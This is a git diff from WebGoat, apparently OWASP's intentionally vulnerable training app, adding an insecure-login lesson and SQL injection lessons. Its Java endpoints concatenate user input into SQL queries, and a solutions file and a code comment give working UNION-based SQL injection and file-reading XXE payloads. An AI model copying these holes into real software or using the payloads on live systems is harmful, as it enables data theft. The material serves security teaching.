<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
<script th:src="@{/lesson_js/credentials.js}"
language="JavaScript"></script>
<form class="attack-form" accept-charset="UNKNOWN" name="task"
method="POST"
action="#attack/307/100"
enctype="application/json;charset=UTF-8">
<!---
<input type="hidden" value="" name="username" id="SecretUsername"/>
<input type="hidden" value="" name="password" id="SecretPassword"/>
<input type="button" value="Log in" onpress="submit_secret_credentials()"/>-->
<button onclick="submit_secret_credentials()">Log in</button>
</form>
<br></br>
<form class="attack-form" accept-charset="UNKNOWN" name="task"
method="POST"
action="/WebGoat/InsecureLogin/task"
enctype="application/json;charset=UTF-8">
<input type="text" value="" name="username" placeholder="username"/>
<input type="password" value="" name="password" placeholder="password" />
<input type="submit" value="Submit" />
</form>
<div class="attack-feedback"></div>
<div class="attack-output"></div>
</div>
</div>
</html>

View File

@ -0,0 +1,4 @@
insecure-login.title=Insecure Login
insecure-login.intercept.success=Welcome, CaptainJack!
insecure-login.intercept.failure=Wrong username or password

View File

@ -0,0 +1,6 @@
function submit_secret_credentials() {
var xhttp = new XMLHttpRequest();
xhttp['open']('POST', '#attack/307/100', true);
//sending the request is obfuscated, to descourage js reading
var _0xb7f9=["\x43\x61\x70\x74\x61\x69\x6E\x4A\x61\x63\x6B","\x42\x6C\x61\x63\x6B\x50\x65\x61\x72\x6C","\x73\x74\x72\x69\x6E\x67\x69\x66\x79","\x73\x65\x6E\x64"];xhttp[_0xb7f9[3]](JSON[_0xb7f9[2]]({username:_0xb7f9[0],password:_0xb7f9[1]}))
}

View File

@ -0,0 +1,7 @@
== Concept
Encryption is a very inportant tool for secure communication. In this lesson, we will find out, why it should always be employed when sending sensitive data.
== Goals
* The user should have a basic understanding of packet sniffer usage
* The user will be able to intercept and read an unencrypted requests

View File

@ -0,0 +1,4 @@
=== Let's try
Click the "log in" button to send a request containing login credentials of another user.
Then, write these credentials into the appropriate fields and submit to confirm.
Try using a packet sniffer to intercept the request.

View File

@ -14,16 +14,21 @@
</parent>
<modules>
<module>bypass-restrictions</module>
<module>challenge</module>
<module>client-side-filtering</module>
<module>cross-site-scripting</module>
<module>html-tampering</module>
<module>http-basics</module>
<module>http-proxies</module>
<module>insecure-login</module>
<module>jwt</module>
<module>sql-injection</module>
<module>xxe</module>
<module>idor</module>
<module>vulnerable-components</module>
<!-- uncomment below to include lesson template in build, also uncomment the dependency in webgoat-server/pom.xml to have it run in the project fully -->
<!--<module>webgoat-lesson-template</module>-->
</modules>
<dependencies>
@ -33,11 +38,19 @@
<version>${project.version}</version>
<scope>provided</scope>
<type>jar</type>
<!-- Exclude Mongo embedded so testcases do not start it automatically, seems to be
the easiest way to stop the autoconfiguration of Spring Boot -->
<exclusions>
<exclusion>
<groupId>de.flapdoodle.embed</groupId>
<artifactId>de.flapdoodle.embed.mongo</artifactId>
</exclusion>
</exclusions>
</dependency>
<!--<dependency>-->
<!--<groupId>org.apache.commons</groupId>-->
<!--<artifactId>commons-exec</artifactId>-->
<!--<version>1.3</version>-->
<!--<groupId>org.apache.commons</groupId>-->
<!--<artifactId>commons-exec</artifactId>-->
<!--<version>1.3</version>-->
<!--</dependency>-->
<dependency>
<groupId>org.owasp.webgoat</groupId>
@ -45,6 +58,14 @@
<version>${project.version}</version>
<classifier>tests</classifier>
<scope>test</scope>
<!-- Exclude Mongo embedded so testcases do not start it automatically, seems to be
the easiest way to stop the autoconfiguration of Spring Boot -->
<exclusions>
<exclusion>
<groupId>de.flapdoodle.embed</groupId>
<artifactId>de.flapdoodle.embed.mongo</artifactId>
</exclusion>
</exclusions>
</dependency>
<dependency>
<groupId>junit</groupId>
@ -70,6 +91,12 @@
<version>4.1.3.RELEASE</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>com.github.fakemongo</groupId>
<artifactId>fongo</artifactId>
<version>2.1.0</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.owasp.encoder</groupId>
<artifactId>encoder</artifactId>
@ -119,6 +146,6 @@
</execution>
</executions>
</plugin>
</plugins>
</build>
</plugins>
</build>
</project>

View File

@ -14,7 +14,7 @@ Smith' union select userid,user_name, password,cookie,cookie, cookie,userid from
## XXE ##
Simple <?xml version="1.0" standalone="yes" ?><!DOCTYPE comment [<!ENTITY root SYSTEM "file:///"> ]><comment> <text>&root;</text><password>test</password></comment>
Simple - <?xml version="1.0" standalone="yes" ?><!DOCTYPE user [<!ENTITY root SYSTEM "file:///"> ]><comment><text>&root;</text></comment>
Modern Rest Framework - change content type to: Content-Type: application/xml &&
<?xml version="1.0" standalone="yes" ?><!DOCTYPE user [<!ENTITY root SYSTEM "file:///"> ]><user> <username>&root;</username><password>test</password></user>

View File

@ -1,220 +0,0 @@
package org.owasp.webgoat.plugin;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentPath;
import org.owasp.webgoat.assignments.AttackResult;
import org.owasp.webgoat.session.DatabaseUtilities;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
import java.sql.*;
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 20014 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
* projects.
*
* For details, please see http://webgoat.github.io
*
* @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a>
* @created October 28, 2003
*/
@AssignmentPath("/SqlInjection/attack5a")
public class SqlInjectionLesson5a extends AssignmentEndpoint {
@RequestMapping(method = RequestMethod.POST)
public @ResponseBody AttackResult completed(@RequestParam String account, HttpServletRequest request) throws IOException {
return injectableQuery(account);
}
protected AttackResult injectableQuery(String accountName)
{
try
{
Connection connection = DatabaseUtilities.getConnection(getWebSession());
String query = "SELECT * FROM user_data WHERE last_name = '" + accountName + "'";
try
{
Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ResultSet results = statement.executeQuery(query);
if ((results != null) && (results.first() == true))
{
ResultSetMetaData resultsMetaData = results.getMetaData();
StringBuffer output = new StringBuffer();
output.append(writeTable(results, resultsMetaData));
results.last();
// If they get back more than one user they succeeded
if (results.getRow() >= 6)
{
return trackProgress(success().feedback("sql-injection.5a.success").feedbackArgs(output.toString()).build());
} else {
return trackProgress(failed().output(output.toString()).build());
}
}
else
{
return trackProgress(failed().feedback("sql-injection.5a.no.results").build());
}
} catch (SQLException sqle)
{
return trackProgress(failed().output(sqle.getMessage()).build());
}
} catch (Exception e)
{
e.printStackTrace();
return trackProgress(failed().output(this.getClass().getName() + " : " + e.getMessage()).build());
}
}
public String writeTable(ResultSet results, ResultSetMetaData resultsMetaData) throws IOException,
SQLException
{
int numColumns = resultsMetaData.getColumnCount();
results.beforeFirst();
StringBuffer t = new StringBuffer();
t.append("<p>");
if (results.next())
{
for (int i = 1; i < (numColumns + 1); i++)
{
t.append(resultsMetaData.getColumnName(i));
t.append(", ");
}
t.append("<br />");
results.beforeFirst();
while (results.next())
{
for (int i = 1; i < (numColumns + 1); i++)
{
t.append(results.getString(i));
t.append(", ");
}
t.append("<br />");
}
}
else
{
t.append ("Query Successful; however no data was returned from this query.");
}
t.append("</p>");
return (t.toString());
}
//
// protected Element parameterizedQuery(WebSession s)
// {
// ElementContainer ec = new ElementContainer();
//
// ec.addElement(getLabelManager().get("StringSqlInjectionSecondStage"));
// if (s.getParser().getRawParameter(ACCT_NAME, "YOUR_NAME").equals("restart"))
// {
// getLessonTracker(s).getLessonProperties().setProperty(STAGE, "1");
// return (injectableQuery(s));
// }
//
// ec.addElement(new BR());
//
// try
// {
// Connection connection = DatabaseUtilities.getConnection(s);
//
// ec.addElement(makeAccountLine(s));
//
// String query = "SELECT * FROM user_data WHERE last_name = ?";
// ec.addElement(new PRE(query));
//
// try
// {
// PreparedStatement statement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE,
// ResultSet.CONCUR_READ_ONLY);
// statement.setString(1, accountName);
// ResultSet results = statement.executeQuery();
//
// if ((results != null) && (results.first() == true))
// {
// ResultSetMetaData resultsMetaData = results.getMetaData();
// ec.addElement(DatabaseUtilities.writeTable(results, resultsMetaData));
// results.last();
//
// // If they get back more than one user they succeeded
// if (results.getRow() >= 6)
// {
// makeSuccess(s);
// }
// }
// else
// {
// ec.addElement(getLabelManager().get("NoResultsMatched"));
// }
// } catch (SQLException sqle)
// {
// ec.addElement(new P().addElement(sqle.getMessage()));
// }
// } catch (Exception e)
// {
// s.setMessage(getLabelManager().get("ErrorGenerating") + this.getClass().getName());
// e.printStackTrace();
// }
//
// return (ec);
// }
//
// protected Element makeAccountLine(WebSession s)
// {
// ElementContainer ec = new ElementContainer();
// ec.addElement(new P().addElement(getLabelManager().get("EnterLastName")));
//
// accountName = s.getParser().getRawParameter(ACCT_NAME, "Your Name");
// Input input = new Input(Input.TEXT, ACCT_NAME, accountName.toString());
// ec.addElement(input);
//
// Element b = ECSFactory.makeButton(getLabelManager().get("Go!"));
// ec.addElement(b);
//
// return ec;
//
// }
}

View File

@ -1,224 +0,0 @@
package org.owasp.webgoat.plugin;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentPath;
import org.owasp.webgoat.assignments.AttackResult;
import org.owasp.webgoat.session.DatabaseUtilities;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
import java.sql.*;
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 20014 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
* projects.
*
* For details, please see http://webgoat.github.io
*
* @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a>
* @created October 28, 2003
*/
@AssignmentPath("/SqlInjection/attack5b")
public class SqlInjectionLesson5b extends AssignmentEndpoint {
@RequestMapping(method = RequestMethod.POST)
public @ResponseBody AttackResult completed(@RequestParam String userid, HttpServletRequest request) throws IOException {
return injectableQuery(userid);
}
protected AttackResult injectableQuery(String accountName)
{
try
{
Connection connection = DatabaseUtilities.getConnection(getWebSession());
String query = "SELECT * FROM user_data WHERE userid = " + accountName;
try
{
Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ResultSet results = statement.executeQuery(query);
if ((results != null) && (results.first() == true))
{
ResultSetMetaData resultsMetaData = results.getMetaData();
StringBuffer output = new StringBuffer();
output.append(writeTable(results, resultsMetaData));
results.last();
// If they get back more than one user they succeeded
if (results.getRow() >= 6)
{
return trackProgress(success().feedback("sql-injection.5b.success").feedbackArgs(output.toString()).build());
} else {
return trackProgress(failed().output(output.toString()).build());
}
}
else
{
return trackProgress(failed().feedback("sql-injection.5b.no.results").build());
// output.append(getLabelManager().get("NoResultsMatched"));
}
} catch (SQLException sqle)
{
return trackProgress(failed().output(sqle.getMessage()).build());
}
} catch (Exception e)
{
e.printStackTrace();
return trackProgress(failed().output(this.getClass().getName() + " : " + e.getMessage()).build());
}
}
public String writeTable(ResultSet results, ResultSetMetaData resultsMetaData) throws IOException,
SQLException
{
int numColumns = resultsMetaData.getColumnCount();
results.beforeFirst();
StringBuffer t = new StringBuffer();
t.append("<p>");
if (results.next())
{
for (int i = 1; i < (numColumns + 1); i++)
{
t.append(resultsMetaData.getColumnName(i));
t.append(", ");
}
t.append("<br />");
results.beforeFirst();
while (results.next())
{
for (int i = 1; i < (numColumns + 1); i++)
{
t.append(results.getString(i));
t.append(", ");
}
t.append("<br />");
}
}
else
{
t.append ("Query Successful; however no data was returned from this query.");
}
t.append("</p>");
return (t.toString());
}
//
// protected Element parameterizedQuery(WebSession s)
// {
// ElementContainer ec = new ElementContainer();
//
// ec.addElement(getLabelManager().get("StringSqlInjectionSecondStage"));
// if (s.getParser().getRawParameter(ACCT_NAME, "YOUR_NAME").equals("restart"))
// {
// getLessonTracker(s).getLessonProperties().setProperty(STAGE, "1");
// return (injectableQuery(s));
// }
//
// ec.addElement(new BR());
//
// try
// {
// Connection connection = DatabaseUtilities.getConnection(s);
//
// ec.addElement(makeAccountLine(s));
//
// String query = "SELECT * FROM user_data WHERE last_name = ?";
// ec.addElement(new PRE(query));
//
// try
// {
// PreparedStatement statement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE,
// ResultSet.CONCUR_READ_ONLY);
// statement.setString(1, accountName);
// ResultSet results = statement.executeQuery();
//
// if ((results != null) && (results.first() == true))
// {
// ResultSetMetaData resultsMetaData = results.getMetaData();
// ec.addElement(DatabaseUtilities.writeTable(results, resultsMetaData));
// results.last();
//
// // If they get back more than one user they succeeded
// if (results.getRow() >= 6)
// {
// makeSuccess(s);
// }
// }
// else
// {
// ec.addElement(getLabelManager().get("NoResultsMatched"));
// }
// } catch (SQLException sqle)
// {
// ec.addElement(new P().addElement(sqle.getMessage()));
// }
// } catch (Exception e)
// {
// s.setMessage(getLabelManager().get("ErrorGenerating") + this.getClass().getName());
// e.printStackTrace();
// }
//
// return (ec);
// }
//
// protected Element makeAccountLine(WebSession s)
// {
// ElementContainer ec = new ElementContainer();
// ec.addElement(new P().addElement(getLabelManager().get("EnterLastName")));
//
// accountName = s.getParser().getRawParameter(ACCT_NAME, "Your Name");
// Input input = new Input(Input.TEXT, ACCT_NAME, accountName.toString());
// ec.addElement(input);
//
// Element b = ECSFactory.makeButton(getLabelManager().get("Go!"));
// ec.addElement(b);
//
// return ec;
//
// }
}

View File

@ -1,223 +0,0 @@
package org.owasp.webgoat.plugin;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentPath;
import org.owasp.webgoat.assignments.AttackResult;
import org.owasp.webgoat.session.DatabaseUtilities;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
import java.sql.*;
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 20014 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
* projects.
*
* For details, please see http://webgoat.github.io
*
* @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a>
* @created October 28, 2003
*/
@AssignmentPath("/SqlInjection/attack6a")
public class SqlInjectionLesson6a extends AssignmentEndpoint {
@RequestMapping(method = RequestMethod.POST)
public @ResponseBody AttackResult completed(@RequestParam String userid_6a, HttpServletRequest request) throws IOException {
return injectableQuery(userid_6a);
// The answer: Smith' union select userid,user_name, password,cookie,cookie, cookie,userid from user_system_data --
}
protected AttackResult injectableQuery(String accountName)
{
try
{
Connection connection = DatabaseUtilities.getConnection(getWebSession());
String query = "SELECT * FROM user_data WHERE last_name = '" + accountName + "'";
try
{
Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ResultSet results = statement.executeQuery(query);
if ((results != null) && (results.first() == true))
{
ResultSetMetaData resultsMetaData = results.getMetaData();
StringBuffer output = new StringBuffer();
output.append(writeTable(results, resultsMetaData));
results.last();
// If they get back more than one user they succeeded
if (results.getRow() >= 5)
{
return trackProgress(success().feedback("sql-injection.6a.success").feedbackArgs(output.toString()).build());
} else {
return trackProgress(failed().output(output.toString()).build());
}
}
else
{
return trackProgress(failed().feedback("sql-injection.6a.no.results").build());
}
} catch (SQLException sqle)
{
return trackProgress(failed().output(sqle.getMessage()).build());
}
} catch (Exception e)
{
e.printStackTrace();
return trackProgress(failed().output(this.getClass().getName() + " : " + e.getMessage()).build());
}
}
public String writeTable(ResultSet results, ResultSetMetaData resultsMetaData) throws IOException,
SQLException
{
int numColumns = resultsMetaData.getColumnCount();
results.beforeFirst();
StringBuffer t = new StringBuffer();
t.append("<p>");
if (results.next())
{
for (int i = 1; i < (numColumns + 1); i++)
{
t.append(resultsMetaData.getColumnName(i));
t.append(", ");
}
t.append("<br />");
results.beforeFirst();
while (results.next())
{
for (int i = 1; i < (numColumns + 1); i++)
{
t.append(results.getString(i));
t.append(", ");
}
t.append("<br />");
}
}
else
{
t.append ("Query Successful; however no data was returned from this query.");
}
t.append("</p>");
return (t.toString());
}
//
// protected Element parameterizedQuery(WebSession s)
// {
// ElementContainer ec = new ElementContainer();
//
// ec.addElement(getLabelManager().get("StringSqlInjectionSecondStage"));
// if (s.getParser().getRawParameter(ACCT_NAME, "YOUR_NAME").equals("restart"))
// {
// getLessonTracker(s).getLessonProperties().setProperty(STAGE, "1");
// return (injectableQuery(s));
// }
//
// ec.addElement(new BR());
//
// try
// {
// Connection connection = DatabaseUtilities.getConnection(s);
//
// ec.addElement(makeAccountLine(s));
//
// String query = "SELECT * FROM user_data WHERE last_name = ?";
// ec.addElement(new PRE(query));
//
// try
// {
// PreparedStatement statement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE,
// ResultSet.CONCUR_READ_ONLY);
// statement.setString(1, accountName);
// ResultSet results = statement.executeQuery();
//
// if ((results != null) && (results.first() == true))
// {
// ResultSetMetaData resultsMetaData = results.getMetaData();
// ec.addElement(DatabaseUtilities.writeTable(results, resultsMetaData));
// results.last();
//
// // If they get back more than one user they succeeded
// if (results.getRow() >= 6)
// {
// makeSuccess(s);
// }
// }
// else
// {
// ec.addElement(getLabelManager().get("NoResultsMatched"));
// }
// } catch (SQLException sqle)
// {
// ec.addElement(new P().addElement(sqle.getMessage()));
// }
// } catch (Exception e)
// {
// s.setMessage(getLabelManager().get("ErrorGenerating") + this.getClass().getName());
// e.printStackTrace();
// }
//
// return (ec);
// }
//
// protected Element makeAccountLine(WebSession s)
// {
// ElementContainer ec = new ElementContainer();
// ec.addElement(new P().addElement(getLabelManager().get("EnterLastName")));
//
// accountName = s.getParser().getRawParameter(ACCT_NAME, "Your Name");
// Input input = new Input(Input.TEXT, ACCT_NAME, accountName.toString());
// ec.addElement(input);
//
// Element b = ECSFactory.makeButton(getLabelManager().get("Go!"));
// ec.addElement(b);
//
// return ec;
//
// }
}

View File

@ -0,0 +1,63 @@
package org.owasp.webgoat.plugin.advanced;
import org.owasp.webgoat.lessons.Category;
import org.owasp.webgoat.lessons.NewLesson;
import java.util.ArrayList;
import java.util.List;
/**
* ************************************************************************************************
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
* <p>
* Copyright (c) 2002 - 20014 Bruce Mayhew
* <p>
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
* <p>
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
* <p>
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
* <p>
* Getting Source ==============
* <p>
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
* projects.
* <p>
*
* @author WebGoat
* @version $Id: $Id
* @since October 12, 2016
*/
public class SqlInjectionAdvanced extends NewLesson {
@Override
public Category getDefaultCategory() {
return Category.INJECTION;
}
@Override
public List<String> getHints() {
return new ArrayList<>();
}
@Override
public Integer getDefaultRanking() {
return 1;
}
@Override
public String getTitle() {
return "SQL Injection (advanced)";
}
@Override
public String getId() {
return "SqlInjectionAdvanced";
}
}

View File

@ -0,0 +1,136 @@
package org.owasp.webgoat.plugin.advanced;
import lombok.extern.slf4j.Slf4j;
import org.apache.commons.lang3.RandomStringUtils;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentPath;
import org.owasp.webgoat.assignments.AttackResult;
import org.owasp.webgoat.session.DatabaseUtilities;
import org.owasp.webgoat.session.WebSession;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.util.StringUtils;
import org.springframework.web.bind.annotation.PutMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import java.sql.*;
import static org.springframework.web.bind.annotation.RequestMethod.POST;
/**
* @author nbaars
* @since 4/8/17.
*/
@AssignmentPath("SqlInjection/challenge")
@Slf4j
public class SqlInjectionChallenge extends AssignmentEndpoint {
private static final String PASSWORD_TOM = "thisisasecretfortomonly";
//Make it more random at runtime (good luck guessing)
private static final String USERS_TABLE_NAME = "challenge_users_6" + RandomStringUtils.randomAlphabetic(16);
@Autowired
private WebSession webSession;
public SqlInjectionChallenge() {
log.info("Challenge 6 tablename is: {}", USERS_TABLE_NAME);
}
@PutMapping //assignment path is bounded to class so we use different http method :-)
@ResponseBody
public AttackResult registerNewUser(@RequestParam String username_reg, @RequestParam String email_reg, @RequestParam String password_reg) throws Exception {
AttackResult attackResult = checkArguments(username_reg, email_reg, password_reg);
if (attackResult == null) {
Connection connection = DatabaseUtilities.getConnection(webSession);
checkDatabase(connection);
String checkUserQuery = "select userid from " + USERS_TABLE_NAME + " where userid = '" + username_reg + "'";
Statement statement = connection.createStatement();
ResultSet resultSet = statement.executeQuery(checkUserQuery);
if (resultSet.next()) {
attackResult = failed().feedback("user.exists").feedbackArgs(username_reg).build();
} else {
PreparedStatement preparedStatement = connection.prepareStatement("INSERT INTO " + USERS_TABLE_NAME + " VALUES (?, ?, ?)");
preparedStatement.setString(1, username_reg);
preparedStatement.setString(2, email_reg);
preparedStatement.setString(3, password_reg);
preparedStatement.execute();
attackResult = success().feedback("user.created").feedbackArgs(username_reg).build();
}
}
return attackResult;
}
private AttackResult checkArguments(String username_reg, String email_reg, String password_reg) {
if (StringUtils.isEmpty(username_reg) || StringUtils.isEmpty(email_reg) || StringUtils.isEmpty(password_reg)) {
return failed().feedback("input.invalid").build();
}
if (username_reg.length() > 250 || email_reg.length() > 30 || password_reg.length() > 30) {
return failed().feedback("input.invalid").build();
}
return null;
}
@RequestMapping(method = POST)
@ResponseBody
public AttackResult login(@RequestParam String username_login, @RequestParam String password_login) throws Exception {
Connection connection = DatabaseUtilities.getConnection(webSession);
checkDatabase(connection);
PreparedStatement statement = connection.prepareStatement("select password from " + USERS_TABLE_NAME + " where userid = ? and password = ?");
statement.setString(1, username_login);
statement.setString(2, password_login);
ResultSet resultSet = statement.executeQuery();
if (resultSet.next() && "tom".equals(username_login)) {
return success().build();
} else {
return failed().feedback("NoResultsMatched").build();
}
}
private void checkDatabase(Connection connection) throws SQLException {
try {
Statement statement = connection.createStatement();
statement.execute("select 1 from " + USERS_TABLE_NAME);
} catch (SQLException e) {
createChallengeTable(connection);
}
}
private void createChallengeTable(Connection connection) {
Statement statement = null;
try {
statement = connection.createStatement();
String dropTable = "DROP TABLE " + USERS_TABLE_NAME;
statement.executeUpdate(dropTable);
} catch (SQLException e) {
log.info("Delete failed, this does not point to an error table might not have been present...");
}
log.debug("Challenge 6 - Creating tables for users {}", USERS_TABLE_NAME);
try {
String createTableStatement = "CREATE TABLE " + USERS_TABLE_NAME
+ " (" + "userid varchar(250),"
+ "email varchar(30),"
+ "password varchar(30)"
+ ")";
statement.executeUpdate(createTableStatement);
String insertData1 = "INSERT INTO " + USERS_TABLE_NAME + " VALUES ('larry', 'larry@webgoat.org', 'larryknows')";
String insertData2 = "INSERT INTO " + USERS_TABLE_NAME + " VALUES ('tom', 'tom@webgoat.org', '" + PASSWORD_TOM + "')";
String insertData3 = "INSERT INTO " + USERS_TABLE_NAME + " VALUES ('alice', 'alice@webgoat.org', 'rt*(KJ()LP())$#**')";
String insertData4 = "INSERT INTO " + USERS_TABLE_NAME + " VALUES ('eve', 'eve@webgoat.org', '**********')";
statement.executeUpdate(insertData1);
statement.executeUpdate(insertData2);
statement.executeUpdate(insertData3);
statement.executeUpdate(insertData4);
} catch (SQLException e) {
log.error("Unable create table", e);
}
}
}

View File

@ -1,4 +1,4 @@
package org.owasp.webgoat.plugin;
package org.owasp.webgoat.plugin.introduction;
import java.util.ArrayList;
import java.util.List;

View File

@ -0,0 +1,128 @@
package org.owasp.webgoat.plugin.introduction;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentHints;
import org.owasp.webgoat.assignments.AssignmentPath;
import org.owasp.webgoat.assignments.AttackResult;
import org.owasp.webgoat.session.DatabaseUtilities;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import java.io.IOException;
import java.sql.*;
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 20014 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
* projects.
*
* For details, please see http://webgoat.github.io
*
* @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a>
* @created October 28, 2003
*/
@AssignmentPath("/SqlInjection/attack5a")
@AssignmentHints(value = {"SqlStringInjectionHint1", "SqlStringInjectionHint2", "SqlStringInjectionHint3", "SqlStringInjectionHint4"})
public class SqlInjectionLesson5a extends AssignmentEndpoint {
@RequestMapping(method = RequestMethod.POST)
public
@ResponseBody
AttackResult completed(@RequestParam String account) {
return injectableQuery(account);
}
protected AttackResult injectableQuery(String accountName) {
try {
Connection connection = DatabaseUtilities.getConnection(getWebSession());
String query = "SELECT * FROM user_data WHERE last_name = '" + accountName + "'";
try {
Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ResultSet results = statement.executeQuery(query);
if ((results != null) && (results.first())) {
ResultSetMetaData resultsMetaData = results.getMetaData();
StringBuffer output = new StringBuffer();
output.append(writeTable(results, resultsMetaData));
results.last();
// If they get back more than one user they succeeded
if (results.getRow() >= 6) {
return trackProgress(success().feedback("sql-injection.5a.success").feedbackArgs(output.toString()).build());
} else {
return trackProgress(failed().output(output.toString()).build());
}
} else {
return trackProgress(failed().feedback("sql-injection.5a.no.results").build());
}
} catch (SQLException sqle) {
return trackProgress(failed().output(sqle.getMessage()).build());
}
} catch (Exception e) {
return trackProgress(failed().output(this.getClass().getName() + " : " + e.getMessage()).build());
}
}
public static String writeTable(ResultSet results, ResultSetMetaData resultsMetaData) throws IOException,
SQLException {
int numColumns = resultsMetaData.getColumnCount();
results.beforeFirst();
StringBuffer t = new StringBuffer();
t.append("<p>");
if (results.next()) {
for (int i = 1; i < (numColumns + 1); i++) {
t.append(resultsMetaData.getColumnName(i));
t.append(", ");
}
t.append("<br />");
results.beforeFirst();
while (results.next()) {
for (int i = 1; i < (numColumns + 1); i++) {
t.append(results.getString(i));
t.append(", ");
}
t.append("<br />");
}
} else {
t.append("Query Successful; however no data was returned from this query.");
}
t.append("</p>");
return (t.toString());
}
}

View File

@ -0,0 +1,99 @@
